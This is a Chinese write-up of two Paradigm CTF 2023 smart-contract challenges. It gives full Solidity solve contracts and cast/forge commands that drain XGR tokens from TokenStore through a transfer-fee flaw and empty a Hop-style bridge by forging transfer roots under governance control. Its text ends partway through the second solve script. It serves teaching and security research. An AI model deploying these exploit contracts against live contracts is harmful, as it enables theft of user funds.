Paradigm CTF 2023 挑战 - Grains of Sand 和 Hopping Into Place

  • zellic
  • 发布于 2023-11-14 11:25
  • 阅读 14

这篇文章详细记录了作者在Paradigm CTF 2023中解决两个挑战的过程,分别是“Grains of Sand”和“Hopping Into Place”。作者通过分析相关智能合约的漏洞和功能,成功实现了要求,从而获得了挑战的解答和旗帜。

在 Paradigm CTF 2023 中,我面对了一些有趣且富有创意的挑战。本文将详细介绍我如何解决其中两个挑战:Grains of Sand 和 Hopping Into Place。

Grains of Sand

在什么情况下它不再是一个堆(heap)?

我和同行的 Zellic 安全研究员及审计师 Ayaz( @dynapate↗)一起参与了这个挑战。你可以在 这里↗ 找到挑战文件。

挑战合约相当简单:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract Challenge {
    IERC20 private immutable TOKEN = IERC20(0xC937f5027D47250Fa2Df8CbF21F6F88E98817845);

    address private immutable TOKENSTORE = 0x1cE7AE555139c5EF5A57CC8d814a867ee6Ee33D8;

    uint256 private immutable INITIAL_BALANCE;

    constructor() {
        INITIAL_BALANCE = TOKEN.balanceOf(TOKENSTORE);
    }

    function isSolved() external view returns (bool) {
        return INITIAL_BALANCE - TOKEN.balanceOf(TOKENSTORE) >= 11111e8;
    }
}

它初始化时存储了两个地址,TOKENSTORETOKEN。查看脚本中的部署脚本 script/Deploy.s.sol,这些合约不是由挑战部署的,所以它们必须托管在某个地方。

isSolved() 函数用于通过挑战端点确定我们是否解决了该挑战。它告诉我们,我们需要找到一种方法,从 TOKENSTORE 合约中转出至少 11111e8 个代币,以接收标志。

根据挑战的名称,我们有一些想法认为我们可能需要逐渐地转出,像细沙逐渐从沙漏的颈部滑落一样。

合约分析

查看 challenge.py,我们知道挑战是在区块 18_437_825 的以太坊上分叉的,因此 TOKENSTORE 和 TOKEN 必须是在这些指定地址上部署的合约:

## [ ... ]
return client.create_instance(
    CreateInstanceRequest(
        id=self.team,
        instances={
            "main": LaunchAnvilInstanceArgs(
                balance=1000,
                fork_url=ETH_RPC_URL,
                fork_block_num=18_437_825,
            ),
        },
    )
)

## [ ... ]

TOKEN 合约的代码托管在 这里↗。这是 XGR 代币,查看代码后发现,每个相关的 ERC-20 函数只是对 libAddress = 0x68c41714Bba1e3f1b708121B84A6F9CE5c6f1077delegatecall。查看该库的代码,我们看到它实现了一些转账费用功能。我们稍后将更详细探讨这个问题。

另一方面,TOKENSTORE 合约( 托管在这里↗)广泛被认为是世界上最早的无信任去中心化交易所之一。用户可以存入和提取 ETH 和代币。然后他们可以使用已存入的资金下达卖单。其他用户可以使用 trade() 函数来填补这些订单,实质上就是购买代币。

背景 — 我们该在哪里寻找漏洞?

我们花了相当多的时间试图弄清楚哪个合约可能存在漏洞。由于这些是实时合约,我们的第一反应是寻找一些可以填补的卖单。

环境开始时我们拥有 1,000 ETH,因此我们可以执行几个卖单来购买一些 XGR 代币,而后我们可以将购买的代币从 TOKENSTORE 合约中提取出来。这将希望能够使合约中 XGR 代币余额减少 11111e8。

不过,这听起来并不是很 CTF,因为这并不需要利用任何漏洞,因此我们决定采取不同的方法。从交易记录中我们得知 TOKENSTORE 合约仍然被广泛使用,我们高度怀疑能在这里找到任何漏洞。但查看 XGR 代币合约中的交易记录后,我们注意到它在三年前最后被使用过,因此我们决定首先查看这个合约。

漏洞 — 转账费用功能再次发威

经过一段时间的代码审查后,我们开始专注于转账费用功能,并注意到这段代码(我们正查看 TokenLib 合约 托管在这里↗):

function _transfer(address from, address to, uint256 amount, bool fee, bytes extraData) internal {
    // [ ... ]
    uint256 balance = TokenDB(databaseAddress).balanceOf(from);
    uint256 lockedBalance = TokenDB(databaseAddress).lockedBalances(from);
    balance = safeSub(balance, lockedBalance);
    require( _amount > 0 && balance > 0 );
    require( from != 0x00 && to != 0x00 );
    if( fee ) {
        (_success, _fee) = getTransactionFee(amount);
        require( _success );
        if ( balance == amount ) {
            _amount = safeSub(amount, _fee);
        }
    }
    require( balance >= safeAdd(_amount, _fee) );
    if ( fee ) {
        Burn(from, _fee);
    }
    Transfer(from, to, _amount);
    Transfer2(from, to, _amount, extraData);
    require( TokenDB(databaseAddress).transfer(from, to, _amount, _fee) );
}

因此,当 fee 设置为 true(在本例中,外部的 transfer() 函数中确实是 true)时,它通过 getTransactionFee(amount) 获取实际的费用额,并通过以下方式之一应用到转账中:

  1. 如果 from 用户的余额等于他们正转账的 amount,则费用从 amount 中扣除。例如,如果 from 用户转账 10 XGR(这是他们全部的代币),那么假设手续费为 1 XGR,那么 from 用户最终将转账 9 XGR 到 to 用户。这样, to 用户实际上支付了费用。
  2. 如果 from 用户的余额大于 amount,则费用直接加到 amount 中,这样 from 用户支付了费用。

方法 1 是实现转账费用功能的正确定义。使用方法 2 非常糟糕,因为它混乱了任何使用此代币的智能合约可能选择实现的取款功能。任何提取代币的人都将导致相关的智能合约支付费用。

深入研究 getTransactionFee(amount),我们看到以下代码:

function getTransactionFee(uint256 value) public constant returns (bool success, uint256 fee) {
    fee = safeMul(value, transactionFeeRate) / transactionFeeRateM / 100;
    if ( fee > transactionFeeMax ) { fee = transactionFeeMax; }
    else if ( fee < transactionFeeMin ) { fee = transactionFeeMin; }
    return (true, fee);
}

这里,fee 的计算如下。(你可以通过读取链上合约存储找到费用率及其他细节。)

fee = (value * 20) / 1000 / 100

transactionFeeMax = 2e8
transactionFeeMin = 0.02e8

所以,无论是什么情况下,0.02e8(即 0.02 XGR)的费用都会在任何非全额转账中被应用。

攻击计划 — 这有多现实?

让我们来做一些数学计算。我们需要从 TOKENSTORE 合约中转出 11111e8 个代币。在达到最大交易费 2e8 的情况下,我们需要以下数量的代币:

value = 2e8 * 100 * 1000 / 20 = 10000e8

根据 2e8 的交易费用,我们需要执行 11111e8 / 2e8 = 5555.5 = 5556 次 10,000 XGR 代币的取款。除非我们可以购买 55.5 万 XGR 代币(这根本不现实),否则我们不得不想办法利用最低交易费用 0.02e8。

我们可以制定初步计划:

  1. 通过使用我们的 1,000 ETH 来满足旧的卖单以获取 XGR。
  2. 从 TOKENSTORE 合约中反复取出一个 WEI 的 XGR,直到迫使 TOKENSTORE 合约支付 11111e8 XGR 的费用。这样,我们就满足了 isSolved() 条件。

然而,让我们再做一次数学运算。如果我们连续提取 1 XGR 以使 TOKENSTORE 合约支付 0.02e8 的费用,我们需要提取 11111e8 / 0.02e8 = 555550 次。在我的测试中,我可以在一次交易中提取大约 1,000 次然后耗尽汽油。每笔交易大约八秒的速度,我们可以得到:

  • 1,000 次提取 = 0.02 * 1000 = 20 XGR 的费用,每八秒(一次交易)
  • 11111 / 20 = 555.55 = 556 次交易的要求
  • 556 次交易 * 8 秒 = 4,448 秒 = 74 分钟

在为我们提供的实例中,我们只有 30 分钟的时间来解决这个挑战,因此我们无法通过这种功能提取所有代币。我们必须希望能从 TOKENSTORE 合约中购买到足够的 XGR 代币。这样,我们只需通过转账费用漏洞转出需要的 XGR,然后正常提款其余的代币。

攻击实施 — 查找可完成的卖单

在我解释我获取可完成卖单的方法之前,我想指出,有一种更简单的方法来做到这一点。Etherscan 代币页面 在这里↗ 有一个“DEX 交易”标签,显示了所有交易。Ayaz 在我找到订单后才得知这些信息。对未来来说,这非常有用。

最终我使用了 Dune↗(也是 Ayaz 推荐的)。我们知道交易将发出 Trade() 事件在 TOKENSTORE 合约中,因此我使用 Dune 查询功能查找所有发生交易的事务列表。我的查询可以在 这里↗ 找到。

SELECT contract_address, topic0, data, tx_hash
FROM ethereum.logs
WHERE contract_address = 0x1ce7ae555139c5ef5a57cc8d814a867ee6ee33d8 AND topic0 = 0x3314c351c2a2a45771640a1442b843167a4da29bd543612311c031bbfb4ffa98 AND bytearray_position(data, 0xc937f5027d47250fa2df8cbf21f6f88e98817845) > 0 AND bytearray_substring(data, 1, 31) = 0x00000000000000000000000000000000000000000000000000000000000000

此查询匹配 TOKENSTORE 合约上的所有事件,并专门过滤 Trade() 事件(使用其 topic0 哈希)。它还确保其他几点:

  • XGR 代币合约地址在事件日志数据中存在。
  • 事件日志数据中的前 32 个字节都是零。如果查看 TOKENSTORE 合约中的代码,可以注意到这对应于将 XGR 代币卖给 ETH 的订单。

该查询返回 18 条结果。我手动搜索了这些交易。我的目标是查找未 100% 满足的卖单并主动执行,以便获取尽可能多的 XGR。


交易订单的实现方式有点微妙。交易订单是在链下创建的,用户提供有关他们正在出售的代币和他们愿意购买的代币的详细信息。所有这些细节被如下哈希:

sha256(tokenStoreAddr, _tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _nonce);

该哈希随后由用户签名,该签名被公之于众。任何希望满足订单任意比例的人都可以将该签名传递给 trade() 函数。

值得注意的是,_expires 字段非常重要。不仅我需要查找未完成的交易订单,我还必须查找尚未过期的订单。

在手动浏览所有交易后,我找到了两个候选项:

  • 候选 1↗ — 卖出 100 XGR,出售总量 2,000 XGR
  • 候选 2↗ — 卖出 1,000 XGR,总量 10,000 XGR

因此,如果我们可以满足这两个订单,我们将能够获得总共 10,900 XGR(因为我们必须减去这些交易中已经售出的数量)。这将要求我们利用转账费用功能来转出 11111 - 10900 = 211 XGR。

以每笔交易 20 XGR 的速度(如上所述),这需要 11 次交易 = ~88 秒。之后,我们可以正常从 TOKENSTORE 合约中提取余下的代币并解决挑战。

攻击实施 — 满足卖单

完整的 Solidity 脚本如下所示。

我首先修改了 foundry.toml 以添加以下内容:

[rpc_endpoints]
challenge_rpc = "http://grains-of-sand.challenges.paradigm.xyz:8545/8e3ec53e-af61-4c7e-98c8-b074e8563535/main"

这让我可以使用 cast send ... --rpc-url challenge_rpc 来使用挑战 RPC 执行交易,非常方便。它消除了每次都要复制和粘贴 RPC URL 的需要。

然后,我将以上两个 trade() 调用的参数复制到一个合约中。唯一需要更改的是最后一个参数。我简单地从上出售的数量中减去原始用户购买的数量。这让我们能够完成订单的剩余部分,获取尽可能多的 XGR:

function fillOrder1() external payable {
    // 发送 84000000000000000 wei
    store.deposit{value: msg.value}();
    store.trade(
        address(0),
        84000000000000000,
        0xC937f5027D47250Fa2Df8CbF21F6F88E98817845,
        200000000000,
        108142282,
        470903382,
        0xa219Fb3CfAE449F6b5157c1200652cc13e9c9EA8,
        28,
        0xf164a3e185694dadeb11a9e9e7371929675d2eb2a6e9daa4508e96bc81741018,
        0x314f3b6d5ce7c3f396604e87373fe4fe0a10bef597287d840b942e57595cb29a,
        79800000000000000 // 84000000000000000 - 4200000000000000
    );
}

function fillOrder2() external payable {
    // 发送 42468000000000000 wei
    store.deposit{value: msg.value}();
    store.trade(
        address(0),
        42468000000000000,
        0xC937f5027D47250Fa2Df8CbF21F6F88E98817845,
        1000000000000,
        109997981,
        249363390,
        0x6FFacaa9A9c6f8e7CD7D1C6830f9bc2a146cF10C,
        28,
        0x2b80ada8a8d94ed393723df8d1b802e1f05e623830cf117e326b30b1780ae397,
        0x65397616af0ec4d25f828b25497c697c58b3dcc852259eaf7c72ff487ce76e1e,
        38221200000000000 // 42468000000000000 - 4246800000000000
    );
}

然后,我编译并部署了上述合约,步骤如下:

$ forge create --rpc-url challenge_rpc --private-key 0x4cbcede243030cc8fb7ecc6dd1397cdb8505bd12c69526b57f767c0fa8f213e3 src/Solve.sol:Solve

接下来,我使用 cast 调用每个函数,并发送所需的 ETH 数量:

$ cast send --private-key 0xfc260ea7f3e5245f2e59f84fa9185e109165146a065557c7e81866f02e296ae3 --rpc-url challenge_rpc 0xdfF68528eCDb86f73853354Ceb5bD3c98f0BebE2 "fillOrder1()" --value 84000000000000000
$ cast send --private-key 0xfc260ea7f3e5245f2e59f84fa9185e109165146a065557c7e81866f02e296ae3 --rpc-url challenge_rpc 0xdfF68528eCDb86f73853354Ceb5bD3c98f0BebE2 "fillOrder2()" --value 42468000000000000

在订单完成后,该是利用转账费用功能攻击的时候了,使用我们新获得的 10,900 XGR 代币。

攻击实施 — 将所有整合在一起

我写了以下函数将 1 WEI 的 XGR 提取 1,000 次循环。这实际上导致 TOKENSTORE 合约在一次交易中需要支付 20e8 XGR 的费用:

// 执行 11 次
function exploitFee() external {
    for (int i = 0; i < 1000; i++) {
        store.withdrawToken(0xC937f5027D47250Fa2Df8CbF21F6F88E98817845, 1);
    }
}

然后,我写了一个 bash 脚本,每次循环调用这个函数 11 次,这样就成功提取了 220 XGR:

##!/bin/sh

for i in {0..11}
do
    cast send --rpc-url challenge_rpc 0xdfF68528eCDb86f73853354Ceb5bD3c98f0BebE2 "exploitFee()" --private-key 0xfc260ea7f3e5245f2e59f84fa9185e109165146a065557c7e81866f02e296ae3
done

之后,我使用以下函数提取其余代币。这将提取 10,900 + 220 = 11,120 XGR 代币,这是足以解决挑战的。

function withdrawToken() external {
    uint256 balance = store.tokens(token, address(this));
    store.withdrawToken(
        0xC937f5027D47250Fa2Df8CbF21F6F88E98817845,
        balance
    );
}
$ cast send --private-key 0xfc260ea7f3e5245f2e59f84fa9185e109165146a065557c7e81866f02e296ae3 --rpc-url challenge_rpc 0xdfF68528eCDb86f73853354Ceb5bD3c98f0BebE2 "withdrawToken()"

挑战成功解决!

标志: PCTF{f33_70K3nS_cauS1n9_pR08L3Ms_a9a1N}

完整的解决脚本显示在本文底部 这里

Hopping Into Place

一名黑客已经将被盗资金存入你的桥中,受害者在寻求你的帮助!难道你有什么办法可以把它找回吗?

挑战合约如下所示。查看提供的挑战文件 这里↗

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Challenge {
    address public immutable BRIDGE;

    constructor(address bridge) {
        BRIDGE = bridge;
    }

    function isSolved() external view returns (bool) {
        return BRIDGE.balance == 0;
    }
}

根据描述和 isSolved() 条件,我们需要找到一种方法来提取桥合约的资金。

在这里,我们还可以从 Deploy.s.sol 脚本中获得更多信息:

function deploy(
    address system,
    address player
) internal override returns (address challenge) {
    address governance = BRIDGE.governance();

    vm.startBroadcast(system);

    payable(governance).transfer(1 ether);

    BRIDGE.sendToL2{value: 900 ether}(
        10,
        system,
        900 ether,
        0,
        0,
        address(0x00),
        0
    );

    challenge = address(new Challenge(address(BRIDGE)));

    vm.stopBroadcast();

    vm.startBroadcast(governance);

    BRIDGE.setGovernance(player);

    vm.stopBroadcast();
}

我们在这里知道的一个重要信息是,我们具有和治理实体一样的权限。让我们看看我们能利用这种权力做什么。

实际的桥合约可以在主网上找到 这里↗

背景 — 我们该从哪里开始?

与 Grains of Sand 中的 XGR 代币合约不同,这个桥合约是一个活跃的合约,使用频率非常高;因此,指望我们在合约本身中非法利用某个漏洞的可能性非常渺小。

我怀疑治理实体可以执行一系列操作,使他们能够提取桥合约中的所有 ETH。让我们查看以下使用 onlyGovernance 修饰符标记的函数:

setGovernance()
setCrossDomainMessengerWrapper()
setChainIdDepositsPaused()
setChallengePeriod()
setChallengeResolutionPeriod()
setMinTransferRootBondDelay()
rescueTransferRoot()
addBonder()
removeBonder()

然后我花了一些时间阅读整个合约,以理解它的工作方式。这种理解很重要,因为需要弄清楚我需要采取哪些步骤才能提取桥的资金。

这个桥合约是 L1 桥合约。合约通过 chainBalance 映射跟踪 L2 链桥合约上的余额,该映射将链 ID 映射到余额金额:

mapping(uint256 => uint256) public chainBalance;

L2 → L1 转账功能的关键点如下:

  1. 用户触发一次 L2 → L1 转账。
  2. 一个受信任的 crossDomainMessenger 合约(通过治理设置)调用 confirmTransferRoot(),传递与转账相关的详细信息。值得注意的是,rootHashtotalAmount 被传递到该函数中。rootHash 用于确定 L1 上的正确接收者以及接收者可以提取的正确金额(还有一些其他不相关的内容)。
  3. 接收者现在可以使用 rootHashtotalAmount 和其他详细信息调用 withdraw()withdraw() 函数将验证接收者是否被指定接收这些资金,然后将资金转移给他们。

L1 → L2 转账功能与本挑战无关。

想出一个计划

经过思考,我的计划是让桥假装某个跨链 ETH 转账已从另一个链发送。转账的 ETH 数量将等于桥合约目前的 ETH 余额。这样,我们就可以提取合同中的所有 ETH。

我注意到,在 confirmTransferRoot() 中,作为 crossDomainMessenger,唯一无法轻易绕过的检查是 chainBalance 检查。它减去要转移的金额,如果减法溢出,事务将还原:

function confirmTransferRoot(
    // [ ... ]
)
    external
    onlyL2Bridge(originChainId)
{
    // [ ... ]
    chainBalance[originChainId] = chainBalance[originChainId].sub(totalAmount, "L1_BRG: Amount exceeds chainBalance. This indicates a layer-2 failure.");

    // [ ... ]
}

因此,我所做的第一件事是使用 Dune↗ 来检查每个外链的 chainBalance 是否相加等于桥合约中存储的 ETH 数量。如果是这样,那么我就会确认每个链 ID 的转账以提取每个外链的全部余额。

当然,事情永远不会这么简单,在将所有外链的余额相加后,总和远远不足以将桥抽走。

我现在知道,我需要寻找一种方法来增加一个链 ID 的余额。我要做到这一点,而不实际花费任何 ETH,因为我们开始时的 1,000 ETH 远远不够。

攻击计划 — 在不支付的情况下增加链的余额

寻找 chainBalance[chainId].add() 实例,我们在以下函数中看到两个:

sendToL2()
_distributeTransferRoot()

首先,sendToL2() 是不可能的,因为它在将其添加到远程链的 chainBalance 之前有一个 msg.value == amount 校验。

查看 _distributeTransferRoot(),我注意到它被 confirmTransferRoot()bondTransferRoot() 调用。那么首先,confirmTransferRoot() 也是不行的,因为调用发生在余额被减少之后。然而 bondTransferRoot() 是一个有趣的候选项。

function bondTransferRoot(
    bytes32 rootHash,
    uint256 destinationChainId,
    uint256 totalAmount
) external onlyBonder requirePositiveBalance
{
    bytes32 transferRootId = getTransferRootId(rootHash, totalAmount);
    require(transferRootCommittedAt[destinationChainId][transferRootId] == 0, "L1_BRG: TransferRoot has already been confirmed");
    require(transferBonds[transferRootId].createdAt == 0, "L1_BRG: TransferRoot has already been bonded");

    uint256 currentTimeSlot = getTimeSlot(block.timestamp);
    uint256 bondAmount = getBondForTransferAmount(totalAmount);
    timeSlotToAmountBonded[currentTimeSlot][msg.sender] = timeSlotToAmountBonded[currentTimeSlot][msg.sender].add(bondAmount);

    transferBonds[transferRootId] = TransferBond(
        // [ ... ]
    );

    _distributeTransferRoot(rootHash, destinationChainId, totalAmount);

    emit TransferRootBonded(rootHash, totalAmount);
}

现在我承认我不完全了解这个债务功能,但我所理解的确是债务管理者是能够在桥上质押 ETH 的特权用户。这使他们能够将这部分质押的 ETH 作为抵押,增加 destinationChainId 网链的 ETH 余额。

onlyBonder 修饰符意味着此函数只能由债务管理者调用。我们可以通过 setBonder() 函数使自己成为债务管理者,而该函数可以由治理实体调用。

另一个修饰符是 requirePositiveBalance,其定义如下:

modifier requirePositiveBalance {
    _;
    require(getCredit(msg.sender) >= getDebitAndAdditionalDebit(msg.sender), "ACT: Not enough available credit");
}

bondTransferRoot() 完成执行后,这个修饰符会检查确保债务管理员质押了足够的 ETH 作为抵押。这对我们来说是个问题,因为我们没有足够的 ETH 质押以至于达到可以提取桥的目的。由于我们所剩无多,所以应该检查一下是否有办法绕过这些检查。

getCredit() 函数只是跟踪债务管理员质押的 ETH 数量(我们这里为零,因为我们没有质押任何东西)。而 getDebitAndAdditionalDebit() 函数的实现如下:

function getDebitAndAdditionalDebit(address bonder) public view returns (uint256) {
    return _debit[bonder].add(_additionalDebit(bonder));
}

function _additionalDebit(address bonder) internal view override returns (uint256) {
    uint256 currentTimeSlot = getTimeSlot(block.timestamp);
    uint256 bonded = 0;

    uint256 numTimeSlots = challengePeriod / TIME_SLOT_SIZE;
    for (uint256 i = 0; i < numTimeSlots; i++) {
        bonded = bonded.add(timeSlotToAmountBonded[currentTimeSlot - i][bonder]);
    }

    return bonded;
}

_debit[bonder] 在我们这里将返回零(因为我们刚成为债务管理者),这没有问题。但当前状态下 _additionalDebit(bonder) 将返回大于零的值,因为 challengePeriod 是 24 小时。

然而,由于我们作为治理实体的身份,我们可以调用 setChallengePeriod()

function setChallengePeriod(uint256 _challengePeriod) external onlyGovernance {
    require(_challengePeriod % TIME_SLOT_SIZE == 0, "L1_BRG: challengePeriod must be divisible by TIME_SLOT_SIZE");

    challengePeriod = _challengePeriod;
}

这个函数允许我们将挑战时间设置为零,这将导致 _additionalDebit(bonder) 在我们这里也返回零。

攻击实施 — 在不支付的情况下增加链的余额

最终我们有了通过不花费任何 ETH增加某个任意链余额的方法:

  1. 让自己成为一个不存在链的 crossDomainMessenger。这个链将以零的 chainBalance 开始。我们用链 ID 1337。
  2. 让自己成为一个债务管理者。
  3. 将挑战期设置为 0。
  4. 调用 bondTransferRoot(),使用存在的 rootHash、不存在的 destinationChainIdtotalAmount == address(bridge).balance

我脚本的取初部分如下:

function solve() external {
    // 我们成为链 ID 1337 的 L2 桥合约
    bridge.setCrossDomainMessengerWrapper(
        1337,
        IMessengerWrapper(address(this))
    );

    // 我们成为债务管理者
    bridge.addBonder(address(this));

    // 将挑战期设置为 0。这绕过了 requirePositiveBalance()
    // 修饰符(查看代码了解为什么)
    bridge.setChallengePeriod(0);

    // 假装将所有桥的余额添加到链 ID 1337 的 chainBalance,以便稍后伪造 transferRootHash
    bridge.bondTransferRoot(
        bytes32(uint256(0xdead)),
        1337,
        address(bridge).balance
    );

    // [ ... ]
}

注意,在部署后必须将在治理转移到合约,如下所示:

## 部署到 0xdeadbeef
$ forge create --rpc-url challenge_rpc --private-key <priv_key> src/Solve.sol:Solve
$ cast send --rpc-url challenge_rpc --private-key <priv_key> 0xb8901acB165ed027E32754E0FFe830802919727f "setGovernance(address)" 0xdeadbeef

现在我们已经在链 ID 1337 上有足够的余额来提取,让我们来伪造一个 L2 → L1 转账。

攻击计划 — 伪造 L2 → L1 转账

confirmTransferRoot() 函数是简单的。它唯一做的验证是确保远程链有足够的余额来满足这笔转账。它在 _transferRoots 映射中存储 rootHash。传入的资金 totalAmount 保存在存储的 rootHash 中,当接收者提取资金时将被减去。

伪造转账的真正挑战是在 withdraw() 函数中的 rootHash 验证:

function withdraw(
    // [ ... ]
) external nonReentrant
{
    bytes32 transferId = getTransferId(
        getChainId(),
        recipient,
        amount,
        transferNonce,
        bonderFee,
        amountOutMin,
        deadline
    );

    require(
        rootHash.verify(
            transferId,
            transferIdTreeIndex,
            siblings,
            totalLeaves
        )
    , "BRG: Invalid transfer proof");
    bytes32 transferRootId = getTransferRootId(rootHash, transferRootTotalAmount);
    _addToAmountWithdrawn(transferRootId, amount);
    _fulfillWithdraw(transferId, recipient, amount, uint256(0));

    emit Withdrew(transferId, recipient, amount, transferNonce);
}

getTransferId() 函数仅简单地将所有参数打包并哈希。 rootHash.verify() 如下所示:

function verify(
    bytes32 _root,
    bytes32 _leaf,
    uint256 _index,
    bytes32[] memory _siblings,
    uint256 _totalLeaves
) internal pure returns (bool)
{
    require(_totalLeaves > 0, "Lib_MerkleTree: Total leaves must be greater than zero.");
    require(_index < _totalLeaves, "Lib_MerkleTree: Index out of bounds.");
    require(_siblings.length == _ceilLog2(_totalLeaves), "Lib_MerkleTree: Total siblings does not correctly correspond to total leaves.");

    bytes32 computedRoot = _leaf;

    for (uint256 i = 0; i < _siblings.length; i++) {
        // [ ... ]
    }

    return _root == computedRoot;
}

在这里,_root 参数是调用 withdraw() 函数的调用者提供的 rootHash。这个哈希必须由 crossDomainMessenger 通过 confirmTransferRoot() 进行确认才能在调用 withdraw()

_leaf 参数是 transferId,由 getTransferId() 计算得出。

我将 for 循环注释掉是有原因的。查看 require 语句并记住我们控制 _index_siblings_totalLeaves。注意到什么有趣的事情了吗?我们可以通过将 _index 设置为 0,_totalLeaves 设置为 1,和 _siblings 设置为空数组,彻底绕过 for 循环。 这有效地导致 computedRoot_leaf 相同,使得只要计算出的 _leaf(它是来自 getTransferId()transferId)与之前确认过的 rootHash 匹配,就可以通过验证。

由于我们是 crossDomainMessenger,我们可以确认任何我们想要的 rootHash 并将相同的详细信息传递到 withdraw() 函数中以提取确认的转账。

攻击实现 — 伪装 L2 → L1 转账

在我们的攻击合约中,我们的目标是伪装 rootHash 如下。

bytes32 rootHash = keccak256(
    abi.encode(
        1, // 目标链ID
        address(this), // 收款人
        address(bridge).balance, // 金额
        bytes32(uint256(1)), // transferNonce
        0, // bonderFee
        0, // amountOutMin
        0 // 截止日期
    )
);

然后,我们可以确认这个 rootHash

bridge.confirmTransferRoot(
    1337, // originChainId
    rootHash, // rootHash
    1, // 目标链ID
    address(bridge).balance, // 总金额
    1 // rootCommittedAt
);

最后,我们可以使用与伪造的 rootHash 完全相同的参数调用 withdraw()

bytes32[] memory siblings = new bytes32[](0);

bridge.withdraw(
    address(this), // 收款人
    address(bridge).balance, // 金额
    bytes32(uint256(1)), // transferNonce
    0, // bonderFee
    0, // amountOutMin
    0, // 截止日期
    rootHash, // rootHash
    address(bridge).balance, // transferRootTotalAmount
    0, // transferIdTreeIndex
    siblings, // siblings
    1 // totalLeaves
);

现在,withdraw() 函数将使用与计算伪造的 rootHash 相同的参数计算 transferId。然后它将比较这两个,验证通过,随后将桥中的所有 ETH 转移到我们的合约中。

我以与 Grains of Sand 挑战相同的方式部署了脚本,并如下运行:

## 部署在 0x3B36380540b62B25f84BF91385dD78198f20ce1F
$ forge create --rpc-url challenge_rpc --private-key 0xc72d05d7840cf0a96ce0e2f3b8e6d02a9868cb97ca44caa230983d45c44b393f src/Solve.sol:Solve
## 需要手动先将治理转移到我们的合约
$ cast send --private-key 0xc72d05d7840cf0a96ce0e2f3b8e6d02a9868cb97ca44caa230983d45c44b393f 0xb8901acB165ed027E32754E0FFe830802919727f "setGovernance(address)" 0x3B36380540b62B25f84BF91385dD78198f20ce1F --rpc-url challenge_rpc
$ cast send --private-key 0xc72d05d7840cf0a96ce0e2f3b8e6d02a9868cb97ca44caa230983d45c44b393f 0x3B36380540b62B25f84BF91385dD78198f20ce1F "solve()" --rpc-url challenge_rpc

就这样,桥被挖空,挑战得以解决。

标志: PCTF{90v3rNANc3_Unm1n1m12At10n}

完整的解决脚本显示在这篇文章的底部 这里

完整解决方案 — Grains of Sand

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface TOKENSTORE {
    function trade(
        address _tokenGet,
        uint _amountGet,
        address _tokenGive,
        uint _amountGive,
        uint _expires,
        uint _nonce,
        address _user,
        uint8 _v,
        bytes32 _r,
        bytes32 _s,
        uint _amount
    ) external;

    function withdrawToken(address, uint) external;

    function deposit() external payable;

    function tokens(address, address) external returns (uint256);
}

contract Solve {
    TOKENSTORE store = TOKENSTORE(0x1cE7AE555139c5EF5A57CC8d814a867ee6Ee33D8);

    function fillOrder1() external payable {
        // 发送 84000000000000000 wei
        store.deposit{value: msg.value}();
        store.trade(
            address(0),
            84000000000000000,
            0xC937f5027D47250Fa2Df8CbF21F6F88E98817845,
            200000000000,
            108142282,
            470903382,
            0xa219Fb3CfAE449F6b5157c1200652cc13e9c9EA8,
            28,
            0xf164a3e185694dadeb11a9e9e7371929675d2eb2a6e9daa4508e96bc81741018,
            0x314f3b6d5ce7c3f396604e87373fe4fe0a10bef597287d840b942e57595cb29a,
            79800000000000000 // 84000000000000000 - 4200000000000000
        );
    }

    function fillOrder2() external payable {
        // 发送 42468000000000000 wei
        store.deposit{value: msg.value}();
        store.trade(
            address(0),
            42468000000000000,
            0xC937f5027D47250Fa2Df8CbF21F6F88E98817845,
            1000000000000,
            109997981,
            249363390,
            0x6FFacaa9A9c6f8e7CD7D1C6830f9bc2a146cF10C,
            28,
            0x2b80ada8a8d94ed393723df8d1b802e1f05e623830cf117e326b30b1780ae397,
            0x65397616af0ec4d25f828b25497c697c58b3dcc852259eaf7c72ff487ce76e1e,
            38221200000000000 // 42468000000000000 - 4246800000000000
        );
    }

    // 运行 11 次
    function exploitFee() external {
        for (int i = 0; i < 1000; i++) {
            store.withdrawToken(0xC937f5027D47250Fa2Df8CbF21F6F88E98817845, 1);
        }
    }

    function withdrawToken() external {
        uint256 balance = store.tokens(token, address(this));
        store.withdrawToken(
            0xC937f5027D47250Fa2Df8CbF21F6F88E98817845,
            balance
        );
    }

    receive() external payable {}
}

完整解决方案 — Hopping Into Place

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/console.sol";

interface IMessengerWrapper {}

interface BridgeLike {
    function sendToL2(
        uint256 chainId,
        address recipient,
        uint256 amount,
        uint256 amountOutMin,
        uint256 deadline,
        address relayer,
        uint256 relayerFee
    ) external payable;

    function governance() external view returns (address);

    function setGovernance(address) external;

    function setCrossDomainMessengerWrapper(
        uint256 chainId,
        IMessengerWrapper _crossDomainMessengerWrapper
    ) external;

    function confirmTransferRoot(
        uint256 originChainId,
        bytes32 rootHash,
        uint256 destinationChainId,
        uint256 totalAmount,
        uint256 rootCommittedAt
    ) external;

    function addBonder(address bonder) external;

    function bondTransferRoot(
        bytes32 rootHash,
        uint256 destinationChainId,
        uint256 totalAmount
    ) external;

    function stake(address bonder, uint256 amount) external payable;

    function getCredit(address) external returns (uint256);

    function getDebitAndAdditionalDebit(address) external returns (uint256);

    function setChallengePeriod(uint256) external;

    function withdraw(
        address recipient,
        uint256 amount,
        bytes32 transferNonce,
        uint256 bonderFee,
        uint256 amountOutMin,
        uint256 deadline,
        bytes32 rootHash,
        uint256 transferRootTotalAmount,
        uint256 transferIdTreeIndex,
        bytes32[] calldata siblings,
        uint256 totalLeaves
    ) external;
}

contract Solve {
    BridgeLike bridge = BridgeLike(0xb8901acB165ed027E32754E0FFe830802919727f);

    // 必须手动先 `setGovernance(this_contract);`
    function solve() external {
        // 我们成为链 ID 1337 的 L2 桥
        bridge.setCrossDomainMessengerWrapper(
            1337,
            IMessengerWrapper(address(this))
        );

        // 我们成为一个 bonder
        bridge.addBonder(address(this));

        // 设置挑战期为 0。这绕过了 requirePositiveBalance()
        // 修饰符(查看代码了解原因)
        bridge.setChallengePeriod(0);

        // 假装将所有桥余额添加到链 ID 1337 的 chainBalance 以便
        // 我们之后可以伪造 transferRootHash
        bridge.bondTransferRoot(
            bytes32(uint256(0xdead)),
